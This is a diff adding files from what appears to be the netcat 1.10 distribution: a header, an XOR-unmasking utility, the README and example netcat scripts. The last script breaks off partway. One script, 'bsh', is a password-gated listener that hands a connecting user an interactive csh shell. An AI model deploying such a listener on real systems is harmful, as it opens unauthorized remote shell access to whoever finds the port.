|
|
||||||
|
000 # mount version: 1
|
||||||
|
000
|
||||||
|
000
|
||||||
|
001
|
||||||
|
|
||||||
|
000 # procedure number -- put what you need here:
|
||||||
|
000 # 2 = dump [showmount -e]
|
||||||
|
000 # 5 = exportlist [showmount -a]
|
||||||
|
xxx # "sed s/xxx/$1/ | data -g | nc ..." or some such...
|
||||||
|
|
||||||
|
000 # port: junk
|
||||||
|
000
|
||||||
|
000
|
||||||
|
000
|
||||||
|
|
||||||
|
000 # auth trash
|
||||||
|
000
|
||||||
|
000
|
||||||
|
000
|
||||||
|
|
||||||
|
000 # auth trash
|
||||||
|
000
|
||||||
|
000
|
||||||
|
000
|
||||||
|
|
||||||
|
000 # auth trash
|
||||||
|
000
|
||||||
|
000
|
||||||
|
000
|
||||||
|
|
||||||
|
000 # extra auth trash? probably not needed
|
||||||
|
000
|
||||||
|
000
|
||||||
|
000
|
||||||
|
|
||||||
|
# that's it!
|
|
@ -0,0 +1,92 @@
|
||||||
|
/* Generic xor handler.
|
||||||
|
|
||||||
|
With no args, xors stdin against 0xFF to stdout. A single argument is a
|
||||||
|
file to read xor-bytes out of. Any zero in the xor-bytes array is treated
|
||||||
|
as the end; if you need to xor against a string that *includes* zeros,
|
||||||
|
you're on your own.
|
||||||
|
|
||||||
|
The indirect file can be generated easily with data.c.
|
||||||
|
|
||||||
|
Written because there are so many lame schemes for "masking" plaintext
|
||||||
|
passwords and the like floating around, and it's handy to just run an
|
||||||
|
obscure binary-format configuration file through this and look for strings.
|
||||||
|
|
||||||
|
*Hobbit*, 960208 */
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
|
||||||
|
char buf[8192];
|
||||||
|
char bytes[256];
|
||||||
|
char * py;
|
||||||
|
|
||||||
|
/* do the xor, in place. Uses global ptr "py" to maintain "bytes" state */
|
||||||
|
xorb (buf, len)
|
||||||
|
char * buf;
|
||||||
|
int len;
|
||||||
|
{
|
||||||
|
register int x;
|
||||||
|
register char * pb;
|
||||||
|
|
||||||
|
pb = buf;
|
||||||
|
x = len;
|
||||||
|
while (x > 0) {
|
||||||
|
*pb = (*pb ^ *py);
|
||||||
|
pb++;
|
||||||
|
py++;
|
||||||
|
if (! *py)
|
||||||
|
py = bytes;
|
||||||
|
x--;
|
||||||
|
}
|
||||||
|
} /* xorb */
|
||||||
|
|
||||||
|
/* blah */
|
||||||
|
main (argc, argv)
|
||||||
|
int argc;
|
||||||
|
char ** argv;
|
||||||
|
{
|
||||||
|
register int x = 0;
|
||||||
|
register int y;
|
||||||
|
|
||||||
|
/* manually preload; xor-with-0xFF is all too common */
|
||||||
|
memset (bytes, 0, sizeof (bytes));
|
||||||
|
bytes[0] = 0xff;
|
||||||
|
|
||||||
|
/* if file named in any arg, reload from that */
|
||||||
|
#ifdef O_BINARY /* DOS shit... */
|
||||||
|
x = setmode (0, O_BINARY); /* make stdin raw */
|
||||||
|
if (x < 0) {
|
||||||
|
fprintf (stderr, "stdin binary setmode oops: %d\n", x);
|
||||||
|
exit (1);
|
||||||
|
}
|
||||||
|
x = setmode (1, O_BINARY); /* make stdout raw */
|
||||||
|
if (x < 0) {
|
||||||
|
fprintf (stderr, "stdout binary setmode oops: %d\n", x);
|
||||||
|
exit (1);
|
||||||
|
}
|
||||||
|
#endif /* O_BINARY */
|
||||||
|
|
||||||
|
if (argv[1])
|
||||||
|
#ifdef O_BINARY
|
||||||
|
x = open (argv[1], O_RDONLY | O_BINARY);
|
||||||
|
#else
|
||||||
|
x = open (argv[1], O_RDONLY);
|
||||||
|
#endif
|
||||||
|
if (x > 0) {
|
||||||
|
read (x, bytes, 250); /* nothin' fancy here */
|
||||||
|
close (x);
|
||||||
|
}
|
||||||
|
py = bytes;
|
||||||
|
x = 1;
|
||||||
|
while (x > 0) {
|
||||||
|
x = read (0, buf, sizeof (buf));
|
||||||
|
if (x <= 0)
|
||||||
|
break;
|
||||||
|
xorb (buf, x);
|
||||||
|
y = write (1, buf, x);
|
||||||
|
if (y <= 0)
|
||||||
|
exit (1);
|
||||||
|
}
|
||||||
|
exit (0);
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,377 @@
|
||||||
|
/* generic.h -- anything you don't #undef at the end remains in effect.
|
||||||
|
The ONLY things that go in here are generic indicator flags; it's up
|
||||||
|
to your programs to declare and call things based on those flags.
|
||||||
|
|
||||||
|
You should only need to make changes via a minimal system-specific section
|
||||||
|
at the end of this file. To build a new section, rip through this and
|
||||||
|
check everything it mentions on your platform, and #undef that which needs
|
||||||
|
it. If you generate a system-specific section you didn't find in here,
|
||||||
|
please mail me a copy so I can update the "master".
|
||||||
|
|
||||||
|
I realize I'm probably inventing another pseudo-standard here, but
|
||||||
|
goddamnit, everybody ELSE has already, and I can't include all of their
|
||||||
|
hairball schemes too. HAVE_xx conforms to the gnu/autoconf usage and
|
||||||
|
seems to be the most common format. In fact, I dug a lot of these out
|
||||||
|
of autoconf and tried to common them all together using "stupidh" to
|
||||||
|
collect data from platforms.
|
||||||
|
|
||||||
|
In disgust... _H* 940910, 941115, 950511. Pseudo-version: 1.3
|
||||||
|
|
||||||
|
Updated 951104 with many patches from netcat feedback, and properly
|
||||||
|
closed a lot of slop in open-ended comments: version 1.4
|
||||||
|
960217 + nextstep: version 1.5
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef GENERIC_H /* only run through this once */
|
||||||
|
#define GENERIC_H
|
||||||
|
|
||||||
|
/* =============================== */
|
||||||
|
/* System calls, lib routines, etc */
|
||||||
|
/* =============================== */
|
||||||
|
|
||||||
|
/* How does your system declare malloc, void or char? Usually void, but go
|
||||||
|
ask the SunOS people why they had to be different... */
|
||||||
|
#define VOID_MALLOC
|
||||||
|
|
||||||
|
/* notably from fwtk/firewall.h: posix locking? */
|
||||||
|
#define HAVE_FLOCK /* otherwise it's lockf() */
|
||||||
|
|
||||||
|
/* if you don't have setsid(), you might have setpgrp(). */
|
||||||
|
#define HAVE_SETSID
|
||||||
|
|
||||||
|
/* random() is generally considered better than rand() */
|
||||||
|
#define HAVE_RANDOM
|
||||||
|
|
||||||
|
/* the srand48/lrand48/etc family is s'posedly even better */
|
||||||
|
#define HAVE_RAND48
|
||||||
|
/* bmc@telebase and others have suggested these macros if a box *does* have
|
||||||
|
rand48. Will consider for later if we're doing something that really
|
||||||
|
requires stronger random numbers, but netcat and such certainly doesn't.
|
||||||
|
#define srandom(seed) srand48((long) seed)
|
||||||
|
#define random() lrand48() */
|
||||||
|
|
||||||
|
/* if your machine doesn't have lstat(), it should have stat() [dos...] */
|
||||||
|
#define HAVE_LSTAT
|
||||||
|
|
||||||
|
/* different kinds of term ioctls. How to recognize them, very roughly:
|
||||||
|
sysv/POSIX_ME_HARDER: termio[s].h, struct termio[s], tty.c_*[]
|
||||||
|
bsd/old stuff: sgtty.h, ioctl(TIOCSETP), sgttyb.sg_*, tchars.t_* */
|
||||||
|
#define HAVE_TERMIOS
|
||||||
|
|
||||||
|
/* dbm vs ndbm */
|
||||||
|
#define HAVE_NDBM
|
||||||
|
|
||||||
|
/* extended utmp/wtmp stuff. MOST machines still do NOT have this SV-ism */
|
||||||
|
#define UTMPX
|
||||||
|
|
||||||
|
/* some systems have nice() which takes *relative* values... [resource.h] */
|
||||||
|
#define HAVE_SETPRIORITY
|
||||||
|
|
||||||
|
/* a sysvism, I think, but ... */
|
||||||
|
#define HAVE_SYSINFO
|
||||||
|
|
||||||
|
/* ============= */
|
||||||
|
/* Include files */
|
||||||
|
/* ============= */
|
||||||
|
|
||||||
|
/* Presence of these can be determined via a script that sniffs them
|
||||||
|
out if you aren't sure. See "stupidh"... */
|
||||||
|
|
||||||
|
/* stdlib comes with most modern compilers, but ya never know */
|
||||||
|
#define HAVE_STDLIB_H
|
||||||
|
|
||||||
|
/* not on a DOS box! */
|
||||||
|
#define HAVE_UNISTD_H
|
||||||
|
|
||||||
|
/* stdarg is a weird one */
|
||||||
|
#define HAVE_STDARG_H
|
||||||
|
|
||||||
|
/* dir.h or maybe ndir.h otherwise. */
|
||||||
|
#define HAVE_DIRENT_H
|
||||||
|
|
||||||
|
/* string or strings */
|
||||||
|
#define HAVE_STRINGS_H
|
||||||
|
|
||||||
|
/* if you don't have lastlog.h, what you want might be in login.h */
|
||||||
|
#define HAVE_LASTLOG_H
|
||||||
|
|
||||||
|
/* predefines for _PATH_various */
|
||||||
|
#define HAVE_PATHS_H
|
||||||
|
|
||||||
|
/* some SV-flavors break select stuff out separately */
|
||||||
|
#define HAVE_SELECT_H
|
||||||
|
|
||||||
|
/* assorted others */
|
||||||
|
#define HAVE_PARAM_H /* in sys/ */
|
||||||
|
#define HAVE_SYSMACROS_H /* in sys/ */
|
||||||
|
#define HAVE_TTYENT_H /* securetty et al */
|
||||||
|
|
||||||
|
/* ==================== */
|
||||||
|
|
||||||
|
/* Still maybe have to do something about the following, if it's even
|
||||||
|
worth it. I just grepped a lot of these out of various code, without
|
||||||
|
looking them up yet:
|
||||||
|
|
||||||
|
#define HAVE_EINPROGRESS
|
||||||
|
#define HAVE_F_SETOWN
|
||||||
|
HAVE_FILIO_H ... fionbio, fiosetown, etc... will need for hairier
|
||||||
|
select loops.
|
||||||
|
#define HAVE_SETENV ... now *there's* a hairy one; **environ is portable
|
||||||
|
#define BIG_ENDIAN/little_endian ... *please* try to avoid this stupidity
|
||||||
|
and LSBFIRST/MSBFIRST
|
||||||
|
#define HAVE_GETUSERSHELL ... you could always pull it out of getpwent()
|
||||||
|
#define HAVE_SETE[UG]ID ... lib or syscall, it varies on diff platforms
|
||||||
|
#define HAVE_STRCHR ... should actually be handled by string/strings
|
||||||
|
#define HAVE_PSTAT
|
||||||
|
#define HAVE_ST_BLKSIZE ... a stat() thing?
|
||||||
|
#define HAVE_IP_TOS
|
||||||
|
#define HAVE_STRFTIME ... screw this, we'll just INCLUDE one for lame
|
||||||
|
old boxes that don't have it [sunos 3.x, early 4.x?]
|
||||||
|
#define HAVE_VFPRINTF
|
||||||
|
#define HAVE_SHADOW_PASSWD ... in its multitudinous schemes?? ... how
|
||||||
|
about sumpin' like #define SHADOW_PASSWD_TYPE ... could get grody.
|
||||||
|
... looks like sysv /etc/shadow, getspent() family is common.
|
||||||
|
#define SIG* ... what a swamp, punt for now; should all be in signal.h
|
||||||
|
#define HAVE_STRCSPN ... see larry wall's comment in the fwtk regex code
|
||||||
|
#define ULTRIX_AUTH ... bwahaha.
|
||||||
|
#define HAVE_YP or NIS or whatever you wanna call it this week
|
||||||
|
randomness about VARARGS??
|
||||||
|
--- later stuff to be considered ---
|
||||||
|
#define UINT4 ... u-int on alpha/osf, i.e. __alpha/__osf__, ulong elsewhere?
|
||||||
|
dont name it that, though, it'll conflict with extant .h files like md5
|
||||||
|
randomness about machine/endian.h, machine/inline.h -- bsdi, net/2
|
||||||
|
randomness about _PATH_WTMP vs WTMP_FILE and where they even live!!
|
||||||
|
#define HAVE_SYS_ERRLIST ... whether it's in stdio.h or not [bsd 4.4]
|
||||||
|
--- still more stuff
|
||||||
|
#define HAVE_SETENV
|
||||||
|
#define _PATH_UTMP vs UTMP_FILE, a la deslogind?!
|
||||||
|
#define HAVE_DAEMON
|
||||||
|
#define HAVE_INETADDR [vixie bind?]
|
||||||
|
lseek: SEEK_SET vs L_SET and associated lossage [epi-notes, old 386Mach]
|
||||||
|
bsdi: ioctl_compat.h ?
|
||||||
|
--- takin' some ifdefs from CNS krb:
|
||||||
|
F_GETOWN/F_SETOWN
|
||||||
|
CRAY: long = 8 bytes, etc [class with alpha?]
|
||||||
|
CGETENT
|
||||||
|
SIGINFO
|
||||||
|
SIGTSTP SIGTTOU SIGWINCH
|
||||||
|
SPX?
|
||||||
|
SYSV_TERMIO -- covered elsewhere, I hope
|
||||||
|
TIOCEXT TIOCFLUSH TIOC[GS]WINSIZ
|
||||||
|
NEWINIT: something about init cleaning up dead login processes [telnet?]
|
||||||
|
PARENT_DOES_UTMP, too [telnet]
|
||||||
|
VDISCARD
|
||||||
|
VEOL/VEOL2/VLNEXT VREPRINT -- termios stuff?, and related...
|
||||||
|
STREAMSPTY/STREAMSPTYEM
|
||||||
|
AF_INET/AF_UNSPEC, PF_*
|
||||||
|
ECHOCTL/ECHOKE
|
||||||
|
F_ULOCK [?!]
|
||||||
|
setpgrp/getpgrp() ONEARG business..
|
||||||
|
HAVE_ALLOCA
|
||||||
|
HAVE_GETUTENT
|
||||||
|
HAVE_SYS_SELECT_H [irix!]
|
||||||
|
HAVE_DIRENT [old 386mach has *direct.h*!]
|
||||||
|
HAVE_SIGSET
|
||||||
|
HAVE_VFORK_H and HAVE_VFORK
|
||||||
|
HAVE_VHANGUP
|
||||||
|
HAVE_VSPRINTF
|
||||||
|
HAVE_IPTOS_*
|
||||||
|
HAVE_STRCASECMP, STRNCASECMP
|
||||||
|
HAVE_SYS_FCNTL_H
|
||||||
|
HAVE_SYS_TIME_H
|
||||||
|
HAVE_UTIMES
|
||||||
|
NOTTYENT [?]
|
||||||
|
HAVE_FCHMOD
|
||||||
|
HAVE_GETUSERSHELL
|
||||||
|
HAVE_SIGCONTEXT [stack hair, very machine-specific]
|
||||||
|
YYLINENO?
|
||||||
|
POSIX_SIGNALS
|
||||||
|
POSIX_TERMIOS
|
||||||
|
SETPROCTITLE -- breaks some places, like fbsd sendmail
|
||||||
|
SIG* -- actual signal names? some are missing
|
||||||
|
SIOCGIFCONF
|
||||||
|
SO_BROADCAST
|
||||||
|
SHMEM [krb tickets]
|
||||||
|
VARARGS, or HAVE_VARARGS
|
||||||
|
CBAUD
|
||||||
|
... and B300, B9600, etc etc
|
||||||
|
HAVE_BZERO vs memset/memcpy
|
||||||
|
HAVE_SETVBUF
|
||||||
|
HAVE_STRDUP
|
||||||
|
HAVE_GETENV
|
||||||
|
HAVE_STRSAVE
|
||||||
|
HAVE_STBLKSIZE [stat?]
|
||||||
|
HAVE_STREAM_H -- in sys/, ref sendmail 8.7 for IP_SRCROUTE
|
||||||
|
FCHMOD
|
||||||
|
INITGROUPS -- most machines seem to *have*
|
||||||
|
SETREUID
|
||||||
|
SNPRINTF
|
||||||
|
SETPGRP semantics bsd vs. sys5 style
|
||||||
|
|
||||||
|
There's also the issue about WHERE various .h files live, sys/ or otherwise.
|
||||||
|
There's a BIG swamp lurking where network code of any sort lives.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* ======================== */
|
||||||
|
/* System-specific sections */
|
||||||
|
/* ======================== */
|
||||||
|
|
||||||
|
/* By turning OFF various bits of the above, you can customize for
|
||||||
|
a given platform. Yes, we're ignoring the stock compiler predefines
|
||||||
|
and using our own plugged in via the Makefile. */
|
||||||
|
|
||||||
|
/* DOS boxes, with MSC; you may need to adapt to a different compiler. */
|
||||||
|
/* looks like later ones *do* have dirent.h, for example */
|
||||||
|
#ifdef MSDOS
|
||||||
|
#undef HAVE_FLOCK
|
||||||
|
#undef HAVE_RANDOM
|
||||||
|
#undef HAVE_LSTAT
|
||||||
|
#undef HAVE_TERMIOS
|
||||||
|
#undef UTMPX
|
||||||
|
#undef HAVE_SYSINFO
|
||||||
|
#undef HAVE_UNISTD_H
|
||||||
|
#undef HAVE_DIRENT_H /* unless you have the k00l little wrapper from L5!! */
|
||||||
|
#undef HAVE_STRINGS_H
|
||||||
|
#undef HAVE_LASTLOG_H
|
||||||
|
#undef HAVE_PATHS_H
|
||||||
|
#undef HAVE_PARAM_H
|
||||||
|
#undef HAVE_SYSMACROS_H
|
||||||
|
#undef HAVE_SELECT_H
|
||||||
|
#undef HAVE_TTYENT_H
|
||||||
|
#endif /* MSDOS */
|
||||||
|
|
||||||
|
/* buglix 4.x; dunno about 3.x on down. should be bsd4.2 */
|
||||||
|
#ifdef ULTRIX
|
||||||
|
#undef UTMPX
|
||||||
|
#undef HAVE_PATHS_H
|
||||||
|
#undef HAVE_SYSMACROS_H
|
||||||
|
#undef HAVE_SELECT_H
|
||||||
|
#endif /* buglix */
|
||||||
|
|
||||||
|
/* some of this might still be broken on older sunoses */
|
||||||
|
#ifdef SUNOS
|
||||||
|
#undef VOID_MALLOC
|
||||||
|
#undef UTMPX
|
||||||
|
#undef HAVE_PATHS_H
|
||||||
|
#undef HAVE_SELECT_H
|
||||||
|
#endif /* sunos */
|
||||||
|
|
||||||
|
/* "contact your vendor for a fix" */
|
||||||
|
#ifdef SOLARIS
|
||||||
|
/* has UTMPX */
|
||||||
|
#undef HAVE_RANDOM
|
||||||
|
#undef HAVE_SETPRIORITY
|
||||||
|
#undef HAVE_STRINGS_H /* this is genuinely the case, go figure */
|
||||||
|
#undef HAVE_PATHS_H
|
||||||
|
#undef HAVE_SELECT_H
|
||||||
|
#undef HAVE_TTYENT_H
|
||||||
|
#endif /* SOLARIS */
|
||||||
|
|
||||||
|
/* whatever aix variant MIT had at the time; 3.2.x?? */
|
||||||
|
#ifdef AIX
|
||||||
|
#undef UTMPX
|
||||||
|
#undef HAVE_LASTLOG_H
|
||||||
|
#define HAVE_LOGIN_H /* "special", in the educational sense */
|
||||||
|
#endif /* aix */
|
||||||
|
|
||||||
|
/* linux, which is trying as desperately as the gnu folks can to be
|
||||||
|
POSIXLY_CORRECT. I think I'm gonna hurl... */
|
||||||
|
#ifdef LINUX
|
||||||
|
#undef UTMPX
|
||||||
|
#undef HAVE_SYSINFO
|
||||||
|
#undef HAVE_SELECT_H
|
||||||
|
#undef HAVE_TTYENT_H
|
||||||
|
#endif /* linux */
|
||||||
|
|
||||||
|
/* irix 5.x; may not be correct for earlier ones */
|
||||||
|
#ifdef IRIX
|
||||||
|
/* wow, does irix really have everything?! */
|
||||||
|
#endif /* irix */
|
||||||
|
|
||||||
|
/* osf on alphas */
|
||||||
|
#ifdef OSF
|
||||||
|
#undef UTMPX
|
||||||
|
#undef HAVE_SELECT_H
|
||||||
|
#endif /* osf */
|
||||||
|
|
||||||
|
/* they's some FUCKED UP paths in this one! */
|
||||||
|
#ifdef FREEBSD
|
||||||
|
#undef UTMPX
|
||||||
|
#undef HAVE_SYSINFO
|
||||||
|
#undef HAVE_LASTLOG_H
|
||||||
|
#undef HAVE_SYSMACROS_H
|
||||||
|
#undef HAVE_SELECT_H /* actually a lie, but only for kernel */
|
||||||
|
#endif /* freebsd */
|
||||||
|
|
||||||
|
/* Originally from the sidewinder site, of all places, but subsequently
|
||||||
|
checked further under a more normal bsdi 2.0 */
|
||||||
|
#ifdef BSDI
|
||||||
|
#undef UTMPX
|
||||||
|
#undef HAVE_LASTLOG_H
|
||||||
|
#undef HAVE_SYSMACROS_H
|
||||||
|
/* and their malloc.h was in sys/ ?! */
|
||||||
|
#undef HAVE_SELECT_H
|
||||||
|
#endif /* bsdi */
|
||||||
|
|
||||||
|
/* netbsd/44lite, jives with amiga-netbsd from cactus */
|
||||||
|
#ifdef NETBSD
|
||||||
|
#undef UTMPX
|
||||||
|
#undef HAVE_SYSINFO
|
||||||
|
#undef HAVE_LASTLOG_H
|
||||||
|
#undef HAVE_SELECT_H
|
||||||
|
#endif /* netbsd */
|
||||||
|
|
||||||
|
/* Hpux 9.0x, from BBN and various patches sent in */
|
||||||
|
#ifdef HPUX
|
||||||
|
#undef HAVE_RANDOM /* but *does* have ?rand48 -- need to consider.. */
|
||||||
|
#undef HAVE_UTMPX
|
||||||
|
#undef HAVE_LASTLOG_H /* has utmp/wtmp/btmp nonsense, and pututline() */
|
||||||
|
#undef HAVE_PATHS_H
|
||||||
|
#undef HAVE_SELECT_H
|
||||||
|
#undef HAVE_TTYENT_H
|
||||||
|
#endif /* hockeypux */
|
||||||
|
|
||||||
|
/* Unixware [a loose definition of "unix", to be sure], 1.1.2 [at least]
|
||||||
|
from Brian Clapper. He wasn't sure about 2.0... */
|
||||||
|
#ifdef UNIXWARE
|
||||||
|
/* has UTMPX */
|
||||||
|
#undef HAVE_SETPRIORITY
|
||||||
|
/* NOTE: UnixWare does provide the BSD stuff, in "/usr/ucbinclude" (headers)
|
||||||
|
and "/usr/ucblib" (libraries). However, I've run into problems linking
|
||||||
|
stuff out of that version of the C library, when objects are also coming
|
||||||
|
out of the "regular" C library. My advice: Avoid the BSD compatibility
|
||||||
|
stuff wherever possible. Brian Clapper <bmc@telebase.com> */
|
||||||
|
#undef HAVE_STRINGS_H
|
||||||
|
#undef HAVE_PATHS_H
|
||||||
|
#undef HAVE_TTYENT_H
|
||||||
|
#endif /* UNIXWARE */
|
||||||
|
|
||||||
|
/* A/UX 3.1.x from darieb@sandia.gov */
|
||||||
|
#ifdef AUX
|
||||||
|
#undef HAVE_RANDOM
|
||||||
|
#undef HAVE_SELECT_H /* xxx: untested */
|
||||||
|
#endif /* a/ux */
|
||||||
|
|
||||||
|
/* NeXTSTEP 3.2 motorola mudge@l0pht.com xxx should also work with
|
||||||
|
white hardware and Sparc/HPPA. Should work with 3.3 too as it's
|
||||||
|
4.3 / 4.4 bsd wrapped around mach */
|
||||||
|
#ifdef NEXT
|
||||||
|
#undef UTMPX
|
||||||
|
#undef HAVE_SELECT_X
|
||||||
|
#endif /* NeXTSTEP 3.2 motorola */
|
||||||
|
|
||||||
|
/* Make some "generic" assumptions if all else fails */
|
||||||
|
#ifdef GENERIC
|
||||||
|
#undef HAVE_FLOCK
|
||||||
|
#if defined(SYSV) && (SYSV < 4) /* TW leftover: old SV doesnt have symlinks */
|
||||||
|
#undef HAVE_LSTAT
|
||||||
|
#endif /* old SYSV */
|
||||||
|
#undef HAVE_TERMIOS
|
||||||
|
#undef UTMPX
|
||||||
|
#undef HAVE_PATHS_H
|
||||||
|
#undef HAVE_SELECT_H
|
||||||
|
#endif /* generic */
|
||||||
|
|
||||||
|
/* ================ */
|
||||||
|
#endif /* GENERIC_H */
|
||||||
|
|
|
@ -0,0 +1,61 @@
|
||||||
|
Netcat 1.10 is an updated release of Netcat, a simple Unix utility which reads
|
||||||
|
and writes data across network connections using TCP or UDP protocol. It is
|
||||||
|
designed to be a reliable "back-end" tool that can be used directly or easily
|
||||||
|
driven by other programs and scripts. At the same time it is a feature-rich
|
||||||
|
network debugging and exploration tool, since it can create almost any kind of
|
||||||
|
connection you would need and has several interesting built-in capabilities.
|
||||||
|
|
||||||
|
Some of netcat's major features are:
|
||||||
|
|
||||||
|
Outbound or inbound connections, TCP or UDP, to or from any ports
|
||||||
|
Full DNS forward/reverse checking, with appropriate warnings
|
||||||
|
Ability to use any local source port
|
||||||
|
Ability to use any locally-configured network source address
|
||||||
|
Built-in port-scanning capabilities, with randomizer
|
||||||
|
Built-in loose source-routing capability
|
||||||
|
Can read command line arguments from standard input
|
||||||
|
Slow-send mode, one line every N seconds
|
||||||
|
Hex dump of transmitted and received data
|
||||||
|
Optional ability to let another program service established connections
|
||||||
|
Optional telnet-options responder
|
||||||
|
|
||||||
|
A very short list of potential uses:
|
||||||
|
|
||||||
|
Script backends
|
||||||
|
Scanning ports and inventorying services, automated probes
|
||||||
|
Backup handlers
|
||||||
|
File transfers
|
||||||
|
Server testing, simulation, debugging, and hijacking
|
||||||
|
Firewall testing
|
||||||
|
Proxy gatewaying
|
||||||
|
Network performance testing
|
||||||
|
Address spoofing tests
|
||||||
|
Protecting X servers
|
||||||
|
1001 other uses you'll likely come up with
|
||||||
|
|
||||||
|
Changes between the 1.00 release and this release:
|
||||||
|
|
||||||
|
Better portability -- updated generic.h and Makefile [thanx folks!]
|
||||||
|
Indication of local-end interface address on inbound connections
|
||||||
|
That's *Dave* Borman's telnet, not Paul Borman...
|
||||||
|
Better indication of DNS errors
|
||||||
|
Total byte counts printed if -v -v is used
|
||||||
|
A bunch of front-end driver companion programs and scripts
|
||||||
|
Better handling of stdin arguments-plus-data
|
||||||
|
Hex-dump feature
|
||||||
|
Telnet responder
|
||||||
|
Program exec works inbound or outbound now
|
||||||
|
|
||||||
|
Netcat and the associated package is a product of Avian Research, and is freely
|
||||||
|
available in full source form with no restrictions save an obligation to give
|
||||||
|
credit where due. Get it via anonymous FTP at avian.org:/src/hacks/nc110.tgz
|
||||||
|
which is a gzipped tar file and not to be confused with its version 1.00
|
||||||
|
precursor, nc100.tgz. Other distribution formats can be accomodated upon
|
||||||
|
request. Netcat is also mirrored at the following [faster] sites:
|
||||||
|
|
||||||
|
zippy.telcom.arizona.edu:/pub/mirrors/avian.org/hacks/nc110.tgz
|
||||||
|
ftp.sterling.com:/mirrors/avian.org/src/hacks/nc110.tgz
|
||||||
|
coast.cs.purdue.edu:/pub/tools/unix/netcat/nc110.tgz
|
||||||
|
ftp.rge.com:/pub/security/coast/mirrors/avian.org/netcat/nc110.tgz
|
||||||
|
|
||||||
|
_H* 960320
|
|
@ -0,0 +1,5 @@
|
||||||
|
A collection of example scripts that use netcat as a backend, each
|
||||||
|
documented by its own internal comments.
|
||||||
|
|
||||||
|
I'll be the first to admit that some of these are seriously *sick*,
|
||||||
|
but they do work and are quite useful to me on a daily basis.
|
|
@ -0,0 +1,33 @@
|
||||||
|
#! /bin/sh
|
||||||
|
## special handler for altavista, since they only hand out chunks of 10 at
|
||||||
|
## a time. Tries to isolate out results without the leading/trailing trash.
|
||||||
|
## multiword arguments are foo+bar, as usual.
|
||||||
|
## Second optional arg switches the "what" field, to e.g. "news"
|
||||||
|
|
||||||
|
test "${1}" = "" && echo 'Needs an argument to search for!' && exit 1
|
||||||
|
WHAT="web"
|
||||||
|
test "${2}" && WHAT="${2}"
|
||||||
|
|
||||||
|
# convert multiple args
|
||||||
|
PLUSARG="`echo $* | sed 's/ /+/g'`"
|
||||||
|
|
||||||
|
# Plug in arg. only doing simple-q for now; pg=aq for advanced-query
|
||||||
|
# embedded quotes define phrases; otherwise it goes wild on multi-words
|
||||||
|
QB="GET /cgi-bin/query?pg=q&what=${WHAT}&fmt=c&q=\"${PLUSARG}\""
|
||||||
|
|
||||||
|
# ping 'em once, to get the routing warm
|
||||||
|
nc -z -w 8 www.altavista.digital.com 24015 2> /dev/null
|
||||||
|
echo "=== Altavista ==="
|
||||||
|
|
||||||
|
for xx in 0 10 20 30 40 50 60 70 80 90 100 110 120 130 140 150 160 170 180 \
|
||||||
|
190 200 210 220 230 240 250 260 270 280 290 300 310 320 330 340 350 ; do
|
||||||
|
echo "${QB}&stq=${xx}" | nc -w 15 www.altavista.digital.com 80 | \
|
||||||
|
egrep '^<a href="http://'
|
||||||
|
done
|
||||||
|
|
||||||
|
exit 0
|
||||||
|
|
||||||
|
# old filter stuff
|
||||||
|
sed -e '/Documents .* matching .* query /,/query?.*stq=.* Document/p' \
|
||||||
|
-e d
|
||||||
|
|
|
@ -0,0 +1,29 @@
|
||||||
|
#! /bin/sh
|
||||||
|
## a little wrapper to "password" and re-launch a shell-listener.
|
||||||
|
## Arg is taken as the port to listen on. Define "NC" to point wherever.
|
||||||
|
|
||||||
|
NC=nc
|
||||||
|
|
||||||
|
case "$1" in
|
||||||
|
?* )
|
||||||
|
LPN="$1"
|
||||||
|
export LPN
|
||||||
|
sleep 1
|
||||||
|
echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 &
|
||||||
|
echo "launched on port $LPN"
|
||||||
|
exit 0
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# here we play inetd
|
||||||
|
echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 &
|
||||||
|
|
||||||
|
while read qq ; do
|
||||||
|
case "$qq" in
|
||||||
|
# here's yer password
|
||||||
|
gimme )
|
||||||
|
cd /
|
||||||
|
exec csh -i
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
done
|
|
@ -0,0 +1,23 @@
|
||||||
|
#! /bin/sh
|
||||||
|
## This is a quick example listen-exec server, which was used for a while to
|
||||||
|
## distribute netcat prereleases. It illustrates use of netcat both as a
|
||||||
|
## "fake inetd" and a syslogger, and how easy it then is to crock up a fairly
|
||||||
|
## functional server that restarts its own listener and does full connection
|
||||||
|
## logging. In a half-screen of shell script!!
|
||||||
|
|
||||||
|
PORT=31337
|
||||||
|
|
||||||
|
sleep 1
|
||||||
|
SRC=`tail -1 dist.log`
|
||||||
|
echo "<36>elite: ${SRC}" | ./nc -u -w 1 localhost 514 > /dev/null 2>&1
|
||||||
|
echo ";;; Hi, ${SRC}..."
|
||||||
|
echo ";;; This is a PRERELEASE version of 'netcat', tar/gzip/uuencoded."
|
||||||
|
echo ";;; Unless you are capturing this somehow, it won't do you much good."
|
||||||
|
echo ";;; Ready?? Here it comes! Have phun ..."
|
||||||
|
sleep 8
|
||||||
|
cat dist.file
|
||||||
|
sleep 1
|
||||||
|
./nc -v -l -p ${PORT} -e dist.sh < /dev/null >> dist.log 2>&1 &
|
||||||
|
sleep 1
|
||||||
|
echo "<36>elite: done" | ./nc -u -w 1 localhost 514 > /dev/null 2>&1
|
||||||
|
exit 0
|
|
@ -0,0 +1,79 @@
|
||||||
|
#! /bin/sh
|
||||||
|
## Shit-simple script to supply the "privmsg <recipient>" of IRC typein, and
|
||||||
|
## keep the connection alive. Pipe this thru "nc -v -w 5 irc-server port".
|
||||||
|
## Note that this mechanism makes the script easy to debug without being live,
|
||||||
|
## since it just echoes everything bound for the server.
|
||||||
|
## if you want autologin-type stuff, construct some appropriate files and
|
||||||
|
## shovel them in using the "<" mechanism.
|
||||||
|
|
||||||
|
# magic arg: if "tick", do keepalive process instead of main loop
|
||||||
|
if test "$1" = "tick" ; then
|
||||||
|
# ignore most signals; the parent will nuke the kid
|
||||||
|
# doesn't stop ^Z, of course.
|
||||||
|
trap '' 1 2 3 13 14 15 16
|
||||||
|
while true ; do
|
||||||
|
sleep 60
|
||||||
|
echo "PONG !"
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
# top level: fire ourselves off as the keepalive process, and keep track of it
|
||||||
|
sh $0 tick &
|
||||||
|
ircpp=$!
|
